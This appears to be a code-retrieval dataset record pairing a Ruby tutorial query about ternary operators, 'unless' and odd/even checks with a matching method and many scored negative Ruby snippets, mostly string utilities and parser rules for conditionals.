"def CompareWords(codeWord, guess, contains, hit, used)\n array = Array.new\n letters = \"abcdefghijklmnopqrstuvwxyz\"\n (0..4).each do |i| # Iterates through 5 times, once for each letter of the words\n if (guess[i] == codeWord[i]) # Checks if the string in guess \n array[i] = \" Hit\"\n hit[i] = guess[i]\n if(contains.include?(guess[i]) == false)\n contains[' '] = guess[i]\n end\n if(used.include?(guess[i]) == false)\n index = letters.index(guess[i])\n used[index] = guess[i]\n end\n elsif (codeWord.include?(guess[i])) # Checks if \"codeWord\" includes the letter\n array[i] = \"Near\"\n if(contains.include?(guess[i]) == false)\n contains[' '] = guess[i]\n end\n if(used.include?(guess[i]) == false)\n index = letters.index(guess[i])\n used[index] = guess[i]\n end\n else\n array[i] = \"Miss\"\n if(used.include?(guess[i]) == false)\n index = letters.index(guess[i])\n used[index] = guess[i]\n end\n end\n end\n return array, contains, hit, used # Returns an array contains 5 values of \" Hit\", \"Near\", \"Miss\" or any combination of the three\nend",
"def wordArray(guessword)\n word_array = []\n\n guessword.length.times do |letter|\n word_array << guessword[letter]\n end\n return word_array\nend",
"def suffix_array text\n sufs = {}\n 0.upto(text.length - 1){|i| sufs[text[i..text.length]] = i}\n lexo_sufs = sufs.keys.sort\n array = []\n lexo_sufs.each{|s| array << sufs[s]}\n array\nend",
"def computer_code_acquisition\n @code_length.times.map { @colors.sample }\n end",
"def raw_codewords\n @raw_codewords\n end",
"def encode(bv)\n code = []\n last = bv[0]\n code.push last\n count = 0\n\n bv.split(\"\").each do |c|\n if c != last \n code.push count\n count = 1 \n else \n count += 1\n end\n last = c\n end\n code.push count\n code.join\nend",
"def parse(data)\n\n number = 0\n final_array = []\n commands = data.split('')\n\n commands.each do |current_character|\n case current_character\n when \"i\"\n number += 1\n when \"d\"\n number -= 1\n when \"s\"\n number = number ** 2 \n when \"o\"\n final_array.push(number)\n end\n end\n return final_array\n end",
"def words(pos_name)\n pos.select {|w, c| c.include?(pos_code_map.key(pos_name)) }.keys\n end",
"def tokens_num(string)\n s = string.split\n [\n s.grep(/\\A([a-z]|[A-Z]|_)\\w*\\Z/).length,\n s.grep(/\\A0\\Z|\\A[1-9]\\d*\\Z/).length,\n s.grep_v(/(\\A0\\Z|\\A[1-9]\\d*\\Z)|(\\A([a-z]|[A-Z]|_)\\w*\\Z)/).length\n ]\nend",
"def get_word_value_array(word)\n html = RestClient.get(\"http://www.thesaurus.com/browse/#{word}\")\n word_string = Nokogiri::HTML(html).css(\"div.relevancy-list ul li a\").to_a\n part_of_speech = Nokogiri::HTML(html).css(\"div.mask ul li a em\")[0].text\n word_definition = Nokogiri::HTML(html).css(\"div.mask ul li a strong\")[0].text\n [word_string, \"(#{part_of_speech}) #{word_definition}\"]\n end",
"def length_finder(input_array)\n input_array.map {|word| word.size}\nend",
"def line_codes\n [@attrs['LineCode1'], @attrs['LineCode2'], @attrs['LineCode3'], @attrs['LineCode4']].compact\n end",
"def digitize(n)\n number_array =[] #convert n into a string to use split. Map lets us create a new array but we must convert back into int\n number_array = n.to_s.split(\" \").map(&:to_i) # SPLIT divided strings into substrings\n return number_array\n\nend",
"def aba_array(arr)\n return arr.map{|word| aba_translate(word)}\nend",
"def num_list\r\n sanitized_str.chars.map(&:to_i)\r\n end",
"def to_array(string)\n word_array=[]\n string.scan(/\\w+/)\nend",
"def digit_array(card_number)\n card_number.to_s.gsub(/ +/, '').reverse.split(//).map{|digit| digit.to_i}\n end",
"def tokenize(code)\n tokens = []\n while !code.empty?\n #puts \"code remains: #{code.inspect}\"\n token = extract_a_token_from(code)\n # puts \"token: #{token}\"\n code = code[token.string.length..-1]\n tokens << token\n end\n useful_tokens = tokens.reject {|t| t.type == :whitespace}\n # puts \"tokens: #{useful_tokens.inspect}\"\n return useful_tokens\n end",
"def build_char_frequency_table(phrase)\n table = Array.new(26, 0)\n\n phrase.each_char do |char|\n x = get_char_number(char)\n if x != -1\n table[x] += 1\n end\n end\n\n table\nend",
"def role_numbers\n text.scan(/\\{(\\d)\\}/).flatten.map{|m| Integer(m) }\n end",
"def parse(filename)\n result = []\n File.open(filename,'r') do |file|\n for line in file\n result << line.split(' ').map(&:to_i)\n end\n end\n result\nend",
"def bisac_categories_codes\n self.bisac_categories.map{|c| c.code}.uniq\n end",
"def score(word)\n LETTERS.zip(VALUES_OF_LETTERS).map{|x| word.count(x[0])*x[1] }.reduce(:+)\nend",
"def output(input)\n array = input.split (\" \")\n array.map! {\n |x|\n x = x.to_i\n }\n sum = 0\n array.each {\n |x|\n sum += x\n }\n sum\nend",
"def to_array\n self.word.split(\"\")\n end",
"def count_smileys(arr)\n arr.map { |i| i.scan /[;:][-*~]?[D)]/ }.flatten.size\nend",
"def analysis\n hash = {}\n @array.each do |item|\n chars = item.chars.to_a - @used_chars\n\n chars.each do |char|\n if hash[char] == nil\n hash[char] = 1\n else\n hash[char] += 1\n end\n end\n end\n\n hash.sort_by { |_, v| -v }\n end",
"def reason_codes_as_array\n if self.reason_codes.is_a? String\n self.reason_codes.split(',')\n else\n []\n end\n end",
"def clil_categories_codes\n self.clil_categories.map{|c| c.code}.uniq\n end",
"def numbers_array\n num_array = Array.new\n input_as_array.each { |n| num_array << get_number(n) }\n\n return num_array\n end",
"def regulations\n _codes = []\n _i = 0\n invoices.each do |i|\n i.regulations.each do |r|\n unless _codes.include? r\n _i += 1\n _codes << r.insert(0,_i.to_s)\n end\n end\n end\n _codes\n end",
"def all_token_counts\n token_array = []\n self.data.each do |token, count|\n\ttoken_array.push( count )\n end\n return token_array\n end",
"def convert_song_original_array(song)\n song.map! do |lyric|\n word = lyric[0]\n number = lyric[1]\n (word * number).scan(word) # returns an array of instanaces of word\n end\n song.flatten!\n return song\nend",
"def order(words)\n # your code...\n warr = words.split(' ')\n length = (warr.length) - 1\n nums = (0..9).to_a\n ans = (0..length).to_a\n warr.each do |x|\n x.each_char do |y|\n ans[(y.to_i) - 1] = x if nums.include?(y.to_i)\n end\n end\n ans = ans.join(' ')\n return ans\nend",
"def getcodes\r\n result = SUPPORTED_LANG_CODES\r\n end",
"def letter_counts(word)\n hashed = word.chars.map {|char| [char, word.count(char)]}.flatten\n return Hash[*hashed]\nend",
"def possibilities(arrx) #convert shortened array into characters\n\ty= File.select!{|valcount| valcount =~ arry} #break down array into strings of specified length\n\n\t#need to count every letter from each string and match with positions and count the occurence of said letters\n\nend",
"def read_team_scores\n ret = []\n num_entries = read_word.to_i\n num_entries.times do\n ret << read_word.to_i\n end\n [ret, read_word.to_i]\n end",
"def number_words\n { 10 => 'Ten', 9 => 'Nine', 8 => 'Eight', 7 => 'Seven', 6 => 'Six', 5 => 'Five', 4 => 'Four', 3 => 'Three', 2 => 'Two', 1 => 'One' }\nend",
"def digit_list(num)\n str = num.to_s\n nums = str.split(//)\n nums.map{|char| char.to_i}\nend",
"def calculate_alphabet(word)\n x_count = 0\n y_count = 0\n z_count = 0\n\n word.chars.each do |char|\n if char == \"X\"\n x_count += 1\n elsif char == \"Y\"\n y_count += 1\n elsif char == \"Z\"\n z_count += 1\n end\n end\n\n return [x_count, y_count, z_count]\nend",
"def word_to_digit(sentence)\n sentence.split(/\\b/).map { |i| DIGITS.include?(i) ? DIGITS.index(i) : i }\nend",
"def string_lengths(arr)\n arr.map { |word| word.length }\nend"
] |
[
"0.7127428",
"0.6868839",
"0.6574209",
"0.6448723",
"0.6167941",
"0.6123397",
"0.600486",
"0.5847377",
"0.5833271",
"0.5812114",
"0.5800041",
"0.57928276",
"0.5792336",
"0.57909817",
"0.57486326",
"0.57239693",
"0.5693276",
"0.56755674",
"0.56707466",
"0.5655128",
"0.56320924",
"0.5622523",
"0.56076664",
"0.5604875",
"0.5599006",
"0.5593426",
"0.5592972",
"0.55913746",
"0.55822384",
"0.5578043",
"0.5576595",
"0.5574115",
"0.55582386",
"0.5557459",
"0.5554174",
"0.5549007",
"0.55450064",
"0.5541975",
"0.55409503",
"0.5539751",
"0.5539708",
"0.55323774",
"0.5511281",
"0.5508417",
"0.54983956",
"0.5495826",
"0.54922175",
"0.5490153",
"0.54896766",
"0.5484562",
"0.54818887",
"0.54809016",
"0.54787624",
"0.5471338",
"0.546781",
"0.5457783",
"0.54571074",
"0.54468334",
"0.5442428",
"0.5441402",
"0.5437855",
"0.5424971",
"0.5415273",
"0.5407162",
"0.5390247",
"0.53838474",
"0.53825593",
"0.5381757",
"0.5378975",
"0.5377528",
"0.5375396",
"0.5371824",
"0.53664947",
"0.5365237",
"0.5352355",
"0.53469366",
"0.53447396",
"0.5342472",
"0.53331965",
"0.53298724",
"0.5329288",
"0.5327282",
"0.5326029",
"0.5323553",
"0.53206784",
"0.5317947",
"0.53169584",
"0.53133774",
"0.53102094",
"0.530683",
"0.5304549",
"0.5297707",
"0.5290252",
"0.52874863",
"0.52845216",
"0.5282592",
"0.52790445",
"0.5269025",
"0.52687603",
"0.52655363"
] |
0.6943731
|
1
|
9. Learn how to use the ternary operator. The ternary operator is puts a ? b : c In grammatical terms below: if_this_is_a_true_value ? then_the_result_is_this : else_it_is_this However, in Ruby, if is also an expression so: if a then b else c end === a ? b : c, except for precedence issues. Both are expressions. Some Examples. puts (if 1 then 2 else 3 end) => 2 puts 1 ? 2 : 3 => 2 x = if 1 then 2 else 3 end puts x => 2 10. Learn how to use the unless keyword. The unless keyword or conditional is almost the same as using a if conditional. For example: raise InvalidFormat unless AllowedFormats.include?(format) When actually it read sbetter like so: raise InvalidFormat if !AllowedFormats.include?(format) 11. Prompt the user for a positive odd number (or a positive even number, or...). Write a program that uses a nested ifstatement to determine if the user's input fulfills the conditions. Now write one that uses the logical operators (&& and/or ||) to do the same test, but in less time.
|
def nested
print "Enter in a positive odd number"
z = gets.chomp.to_i
if z % 2 == 1
puts "That is a odd number, thank you."
if z % 2 == 0
puts "That number won't work, it's even!"
else
puts "Cool"
end
else
puts "It needs to be a odd number."
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ternary(statement, true_result, false_result)\n statement && true_result || false_result\nend",
"def if_elsif_else\nif x == true\n puts x\nend\n\nif x\n puts x\nend\n\nif x\n puts \"It's true\"\nelse\n puts \"It's false\"\nend\n\nif num <= 0\n puts \"The number is too low\"\nelsif num > 3 && num < 7\n puts \"The number is just right\"\nelse\n puts \"The number is too high\"\nend\n\nif num % 2 == 0\n if num < 10\n puts \"even less than 10\"\n else\n puts \"even greater than 10\"\n end\nelse\n puts \"The number is odd\"\nend\nend",
"def conditional\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 48 )\n return_value = ConditionalReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal226 = nil\n char_literal227 = nil\n t = nil\n f = nil\n logical_or225 = nil\n\n tree_for_char_literal226 = nil\n tree_for_char_literal227 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 577:5: logical_or ( '?' t= expression ':' f= expression )?\n @state.following.push( TOKENS_FOLLOWING_logical_or_IN_conditional_3808 )\n logical_or225 = logical_or\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, logical_or225.tree )\n end\n # at line 577:16: ( '?' t= expression ':' f= expression )?\n alt_51 = 2\n look_51_0 = @input.peek( 1 )\n\n if ( look_51_0 == QMARK )\n alt_51 = 1\n end\n case alt_51\n when 1\n # at line 577:19: '?' t= expression ':' f= expression\n char_literal226 = match( QMARK, TOKENS_FOLLOWING_QMARK_IN_conditional_3813 )\n if @state.backtracking == 0\n\n tree_for_char_literal226 = @adaptor.create_with_payload( char_literal226 )\n root_0 = @adaptor.become_root( tree_for_char_literal226, root_0 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_expression_IN_conditional_3819 )\n t = expression\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, t.tree )\n end\n char_literal227 = match( COLON, TOKENS_FOLLOWING_COLON_IN_conditional_3822 )\n @state.following.push( TOKENS_FOLLOWING_expression_IN_conditional_3828 )\n f = expression\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, f.tree )\n end\n\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 48 )\n\n end\n \n return return_value\n end",
"def main\n\n #\n # In Ruby, everything is an expression, even the control structures.\n #\n\n #\n # if, else, elsif\n #\n # The value that results from evaluating an if expression is the\n # value of the last expression in the code that was executed, or\n # nil if no block of code is executed.\n #\n \n x = 3\n\n if x == 1\n name = \"one\"\n elsif x == 2\n name = \"two\"\n elsif x == 3\n name = \"three\"\n elsif x == 4\n name = \"four\"\n else\n name = \"many\"\n end\n\n puts name\n\n # here is another way to write the above if expression\n\n if x == 1\n name = \"one\"\n elsif x == 2\n name = \"two\"\n elsif x == 3 then name = \"three\"\n elsif x == 4 ; name = \"four\"\n else\n name = \"many\"\n end\n\n puts name\n\n # here is another way to write the above if expression\n\n name = if x == 1 then \"one\"\n elsif x == 2 then \"two\"\n elsif x == 3 then \"three\"\n elsif x == 4 then \"four\"\n else \"many\"\n end\n\n puts name\n\n # for single-line conditionals: use \"if\" as a modifier\n y = x.odd? if x.respond_to?(:odd?)\n puts y\n \n #\n # unless is the opposite of if. unless executes code only if associated\n # expression evaluates to false or nil. elsif clauses are not allowed.\n #\n x = 10\n unless x == 0\n puts \"x is not 0\"\n else\n puts \"x is 0\"\n end\n \n # for single-line conditionals: use \"unless\" as a modifier\n s = x.to_s unless x.nil?\n puts s\n \n #\n # case statement is a multiway conditional. Like if, case returns a value\n #\n x = 5\n case x\n when 1\n name = \"one\"\n when 2\n name = \"two\"\n when 3\n name = \"three\"\n when 4\n name = \"four\"\n else # optional\n name = \"many\"\n end\n puts name\n \n # since case returns a value, here is another way to write the above case\n name = case x\n when 1\n \"one\"\n when 2\n \"two\"\n when 3\n \"three\"\n when 4\n \"four\"\n else \"many\"\n end\n puts name\n \n #\n # Ruby has three looping statements: while, until, and for/in.\n #\n x = 10\n while x >= 0 do\n puts x\n x -= 1\n end\n puts\n \n # above code using until\n x = 10\n until x < 0 do\n puts x\n x -= 1\n end\n puts\n \n # while as a modifier\n x = 0\n puts x = x + 1 while x < 10\n puts\n \n # until as a modifier\n x = 0\n puts x = x + 1 until x == 10\n puts\n \n #\n # for/in loop is used to iterate through the elements of an enumerable object\n #\n for i in 1..10 do\n print i, \" \"\n end\n print \"\\n\\n\"\n \n # print elements in an array\n a = [5, 10, 15, 20, 25]\n for e in a do\n print e, \" \"\n end\n print \"\\n\\n\"\n \n # print keys and values in a hash\n h = {:a => 1, :b => 2, :c => 3}\n for key,value in h\n puts \"#{key} => #{value}\"\n end\n puts\n \nend",
"def even_or_odd(number)\n number % 2 == 0 ? (puts \"even\") : (puts \"odd\")\n end",
"def odd_or_even(number)\n number.odd? ? \"The number is odd\" : \"The number is even\"\nend",
"def odd_or_even(num)\n if num % 2 === 0\n return \"#{num} is even.\"\n else\n return \"#{num} is odd.\"\n end\nend",
"def even_or_odd(num)\n num.even? ? \"That is an even number\" : \"That number is not even\"\nend",
"def even_odd(num)\n if num % 2 == 0\n \"#{num} is even\"\n else num % 2 != 0\n \"#{num} is odd\"\n # create a conditional statement that if num % 2 = 0 it will return the number as even. Use a bang operator in the else statement for odd numbers.\n end\nend",
"def even_or_odd(number)\n number.even? ? 'That number is even ' : 'That number is odd'\nend",
"def ternary_condition(value)\n\t\tis_strike?(value) ? 10 : value\n\tend",
"def odd_or_even_test(number)\n\n is_even = (number % 2 == 0)\n\n if is_even\n result = \"even\"\n else\n result = \"odd\"\n end\n\n puts \"#{number} is an #{result} number.\"\n\nend",
"def yeah_or_boo( a,b )\n (a > b) && 'yeah' || 'boo'\nend",
"def true_or_false\n example = (\n (true || false ) == true\n # I replaced the empty string on the right with true\n )\n\n q1 = (\n (true && true || false) == ''\n )\n\n q2 = (\n (true && false || false) == ''\n )\n\n q3 = (\n (true || false || false) == ''\n )\n\n q4 = (\n (true && (false || false)) == ''\n )\n\n q5 = (\n (false && (true || false)) == ''\n )\n\n q6 = (\n (true && false || false) == ''\n )\n q7 = (\n ((false || false || true) && (true && true && false)) == ''\n )\n\n q8 = (\n ((false || false) && (false && false) || (true && false) || (false && true)) == ''\n )\n\n q1 && q2 && q3 && q4 && q5 && q6 && q7 && q8\nend",
"def vowels_with_ternary_operator(letter)\n (vowels.include? letter) ? true : false # this only seems to work when I put the conditional in parenthesis\nend",
"def if_statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n\n value = nil\n\n\n a = nil\n b = nil\n\n\n begin\n # at line 83:5: IF a= expression ( CLOSE | NL (b= statement )* CLOSE )\n match( IF, TOKENS_FOLLOWING_IF_IN_if_statement_630 )\n @state.following.push( TOKENS_FOLLOWING_expression_IN_if_statement_634 )\n a = expression\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = IfStatementEval.new(a) \n # <-- action\n end\n\n # at line 84:3: ( CLOSE | NL (b= statement )* CLOSE )\n alt_24 = 2\n look_24_0 = @input.peek( 1 )\n\n if ( look_24_0 == CLOSE )\n alt_24 = 1\n elsif ( look_24_0 == NL )\n alt_24 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 24, 0 )\n\n end\n case alt_24\n when 1\n # at line 84:5: CLOSE\n match( CLOSE, TOKENS_FOLLOWING_CLOSE_IN_if_statement_642 )\n\n when 2\n # at line 84:13: NL (b= statement )* CLOSE\n match( NL, TOKENS_FOLLOWING_NL_IN_if_statement_646 )\n # at line 84:16: (b= statement )*\n while true # decision 23\n alt_23 = 2\n look_23_0 = @input.peek( 1 )\n\n if ( look_23_0.between?( IDENT, IF ) || look_23_0 == RETURN || look_23_0 == WHILE )\n alt_23 = 1\n\n end\n case alt_23\n when 1\n # at line 84:17: b= statement\n @state.following.push( TOKENS_FOLLOWING_statement_IN_if_statement_651 )\n b = statement\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value.add_statement(b) \n # <-- action\n end\n\n\n else\n break # out of loop for decision 23\n end\n end # loop for decision 23\n\n match( CLOSE, TOKENS_FOLLOWING_CLOSE_IN_if_statement_658 )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n\n end\n\n return value\n end",
"def even_or_odd(number)\n number.even? ? \"Even\" : \"Odd\"\nend",
"def odd_or_even(number)\n if number.odd?\n \"That number is odd\"\n else\n \"Even\"\n end\nend",
"def odd_or_even(number)\n if number.odd?\n \"That number is odd\"\n else\n \"That number is even\"\n end\nend",
"def is_odd?(number)\n puts \"Is number #{number} an odd number?:\"\n number % 2 == 0 ? false : true\n\nend",
"def odd_or_even(number)\n if number.odd?\n 'That number is odd'\n else\n 'that number is even'\n end\nend",
"def ood_or_even(number)\n if number.odd?\n 'the number is odd'\n else\n 'the number is even'\n end\nend",
"def even_or_odd num\n if num%2 == 0\n \"#{num} is even\"\n else\n \"#{num} is odd\"\n end\nend",
"def on_ifop(statement, true_val, false_val)\n return Node.new(\n :ternary,\n [statement, true_val, false_val],\n metadata\n )\n end",
"def if_statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 25 )\n return_value = IfStatementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal96 = nil\n string_literal97 = nil\n string_literal100 = nil\n clause98 = nil\n block99 = nil\n block101 = nil\n\n tree_for_string_literal96 = nil\n tree_for_string_literal97 = nil\n tree_for_string_literal100 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 413:5: ( 'if' | 'unless' ) clause block ( 'else' block )?\n # at line 413:5: ( 'if' | 'unless' )\n alt_18 = 2\n look_18_0 = @input.peek( 1 )\n\n if ( look_18_0 == IF )\n alt_18 = 1\n elsif ( look_18_0 == UNLESS )\n alt_18 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 18, 0 )\n end\n case alt_18\n when 1\n # at line 413:7: 'if'\n string_literal96 = match( IF, TOKENS_FOLLOWING_IF_IN_if_statement_2720 )\n if @state.backtracking == 0\n\n tree_for_string_literal96 = @adaptor.create_with_payload( string_literal96 )\n root_0 = @adaptor.become_root( tree_for_string_literal96, root_0 )\n\n end\n\n when 2\n # at line 413:15: 'unless'\n string_literal97 = match( UNLESS, TOKENS_FOLLOWING_UNLESS_IN_if_statement_2725 )\n if @state.backtracking == 0\n\n tree_for_string_literal97 = @adaptor.create_with_payload( string_literal97 )\n root_0 = @adaptor.become_root( tree_for_string_literal97, root_0 )\n\n end\n\n end\n @state.following.push( TOKENS_FOLLOWING_clause_IN_if_statement_2730 )\n clause98 = clause\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, clause98.tree )\n end\n @state.following.push( TOKENS_FOLLOWING_block_IN_if_statement_2732 )\n block99 = block\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, block99.tree )\n end\n # at line 413:40: ( 'else' block )?\n alt_19 = 2\n look_19_0 = @input.peek( 1 )\n\n if ( look_19_0 == ELSE )\n alt_19 = 1\n end\n case alt_19\n when 1\n # at line 413:42: 'else' block\n string_literal100 = match( ELSE, TOKENS_FOLLOWING_ELSE_IN_if_statement_2736 )\n @state.following.push( TOKENS_FOLLOWING_block_IN_if_statement_2739 )\n block101 = block\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, block101.tree )\n end\n\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 25 )\n\n end\n \n return return_value\n end",
"def even_or_odd(number)\n (number % 2 == 0) ? \"Even\": \"Odd\"\nend",
"def do_conditional\n cond = inequality\n\n loop do\n type = @lexer.peek_next_type\n\n break unless [:AND, :OR].include? type\n @lexer.skip\n\n # The rhs has to be evaluated here because of short-circuiting\n\n rhs = inequality\n\n cond &&= rhs if type == :AND\n cond ||= rhs if type == :OR\n end\n\n return unless cond\n\n expect [:THEN]\n line_do\n end",
"def process_if(exp)\n cond = exp.shift\n _then = exp.shift\n _else = exp.shift\n\n _then_processed = if _then\n process(_then)\n else\n nil\n end\n\n _else_processed = if _else\n process(_else)\n else\n nil\n end\n\n negate = false\n\n if _then_processed.nil?\n # no \"then\" block as in\n #\n # if X\n # else\n # block\n # end\n #\n # => convert into\n #\n # if not X\n # block\n # end\n #\n # by swapping then and else blocks\n # and negating the condition\n\n _then_processed = _else_processed\n _else_processed = nil\n negate = true\n end\n\n cond_processed = without_result do\n conditionalize(cond, negate)\n end\n\n str = \"\"\n\n if @want_expression\n _then_processed ||= resultify(@model.encode_nil)\n _else_processes ||= resultify(@model.encode_nil)\n str << \"(#{cond_processed}?#{_then_processed}:#{_else_processed})\"\n else\n str << \"if(#{cond_processed}){\"\n str << (_then_processed || (@want_result ? resultify(@model.encode_nil) : ''))\n str << \"}\"\n if @want_result\n _else_processed ||= resultify(@model.encode_nil) \n end\n if _else_processed\n str << \"else{\"\n str << _else_processed\n str << \"}\"\n end\n end\n\n return str\n end",
"def render_output_of_ternary(ternary_arr, df_data)\n value_for_field_name(ternary_arr[0], df_data).present? ? ternary_arr[1] : ternary_arr[2]\n end",
"def if_statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 15 )\n return_value = IfStatementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n string_literal52 = nil\n string_literal56 = nil\n clause53 = nil\n block54 = nil\n block55 = nil\n clause57 = nil\n block58 = nil\n block59 = nil\n\n tree_for_string_literal52 = nil\n tree_for_string_literal56 = nil\n\n begin\n # at line 90:3: ( ^( 'if' clause block ( block )? ) | ^( 'unless' clause block ( block )? ) )\n alt_15 = 2\n look_15_0 = @input.peek( 1 )\n\n if ( look_15_0 == IF )\n alt_15 = 1\n elsif ( look_15_0 == UNLESS )\n alt_15 = 2\n else\n raise NoViableAlternative( \"\", 15, 0 )\n end\n case alt_15\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 90:5: ^( 'if' clause block ( block )? )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal52 = match( IF, TOKENS_FOLLOWING_IF_IN_if_statement_436 )\n\n tree_for_string_literal52 = @adaptor.copy_node( string_literal52 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal52, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_clause_IN_if_statement_438 )\n clause53 = clause\n @state.following.pop\n\n @adaptor.add_child( root_1, clause53.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_block_IN_if_statement_440 )\n block54 = block\n @state.following.pop\n\n @adaptor.add_child( root_1, block54.tree )\n # at line 90:26: ( block )?\n alt_13 = 2\n look_13_0 = @input.peek( 1 )\n\n if ( look_13_0.between?( AMP, AMP_ASGN ) || look_13_0 == POST_DECR || look_13_0.between?( GEQ, AREF ) || look_13_0.between?( GREATER, HAT ) || look_13_0.between?( ARROW, HAT_ASGN ) || look_13_0.between?( ASGN, RETURN ) || look_13_0 == INCR || look_13_0.between?( BREAK, RSHIFT3 ) || look_13_0.between?( LABEL, CATCH ) || look_13_0 == RSHIFT_ASGN || look_13_0 == LEQ || look_13_0.between?( LESS, SLASH ) || look_13_0.between?( SLASH_ASGN, CONTINUE ) || look_13_0.between?( STAR, DECR ) || look_13_0 == STAR_ASGN || look_13_0.between?( LSHIFT, THIS ) || look_13_0 == THROW || look_13_0.between?( MINUS, MOD ) || look_13_0.between?( MOD_ASGN, TYPEOF ) || look_13_0.between?( NEQ, UMINUS ) || look_13_0.between?( NEQQ, UNDEFINED ) || look_13_0.between?( NEW, UPLUS ) || look_13_0.between?( OBJECT, FALSE ) || look_13_0.between?( WITH, PLUS ) || look_13_0.between?( ID, DOC ) )\n alt_13 = 1\n end\n case alt_13\n when 1\n # at line 90:26: block\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_block_IN_if_statement_442 )\n block55 = block\n @state.following.pop\n\n @adaptor.add_child( root_1, block55.tree )\n\n\n end\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 91:5: ^( 'unless' clause block ( block )? )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal56 = match( UNLESS, TOKENS_FOLLOWING_UNLESS_IN_if_statement_453 )\n\n tree_for_string_literal56 = @adaptor.copy_node( string_literal56 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal56, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_clause_IN_if_statement_455 )\n clause57 = clause\n @state.following.pop\n\n @adaptor.add_child( root_1, clause57.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_block_IN_if_statement_457 )\n block58 = block\n @state.following.pop\n\n @adaptor.add_child( root_1, block58.tree )\n # at line 91:30: ( block )?\n alt_14 = 2\n look_14_0 = @input.peek( 1 )\n\n if ( look_14_0.between?( AMP, AMP_ASGN ) || look_14_0 == POST_DECR || look_14_0.between?( GEQ, AREF ) || look_14_0.between?( GREATER, HAT ) || look_14_0.between?( ARROW, HAT_ASGN ) || look_14_0.between?( ASGN, RETURN ) || look_14_0 == INCR || look_14_0.between?( BREAK, RSHIFT3 ) || look_14_0.between?( LABEL, CATCH ) || look_14_0 == RSHIFT_ASGN || look_14_0 == LEQ || look_14_0.between?( LESS, SLASH ) || look_14_0.between?( SLASH_ASGN, CONTINUE ) || look_14_0.between?( STAR, DECR ) || look_14_0 == STAR_ASGN || look_14_0.between?( LSHIFT, THIS ) || look_14_0 == THROW || look_14_0.between?( MINUS, MOD ) || look_14_0.between?( MOD_ASGN, TYPEOF ) || look_14_0.between?( NEQ, UMINUS ) || look_14_0.between?( NEQQ, UNDEFINED ) || look_14_0.between?( NEW, UPLUS ) || look_14_0.between?( OBJECT, FALSE ) || look_14_0.between?( WITH, PLUS ) || look_14_0.between?( ID, DOC ) )\n alt_14 = 1\n end\n case alt_14\n when 1\n # at line 91:30: block\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_block_IN_if_statement_459 )\n block59 = block\n @state.following.pop\n\n @adaptor.add_child( root_1, block59.tree )\n\n\n end\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n end\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # 